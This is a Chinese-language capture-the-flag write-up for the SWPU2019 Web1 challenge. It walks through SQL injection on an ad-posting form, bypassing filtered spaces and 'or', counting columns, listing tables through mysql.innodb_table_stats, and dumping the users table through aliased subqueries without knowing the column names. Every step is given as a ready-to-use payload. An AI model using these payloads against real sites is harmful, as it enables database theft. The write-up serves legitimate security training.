[SWPU2019]Web1
知识点
无列名注入
随便注册一个账户登录,进去后可以发布广告
发布一个1'
点击广告详情
报错了
一通fuzz,or等被过滤,即无法使用information_schema库,可以使用无列名注入
构造
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
手动探测列数,这里探测到有22列,回显位为2和3
直接查表
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无列名注入,参考CTF|mysql之无列名注入
正常查询
select 1,2,3 union select * from user;
这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了password
#注:3要加反引号,表明这是列的名字,而不是单纯的3,按照转义符来理解吧 #后面的a是别名,写啥都行 select `3` from (select 1,2,3 union select * from user)a;
设第二列别名为b
构造
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
设第三列别名为b
构造
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
or被过滤,order by用不了的情况下,可以使用group by
1'/**/group/**/by/**/23,'1
1'/**/group/**/by/**/22,'1
表明这里有22列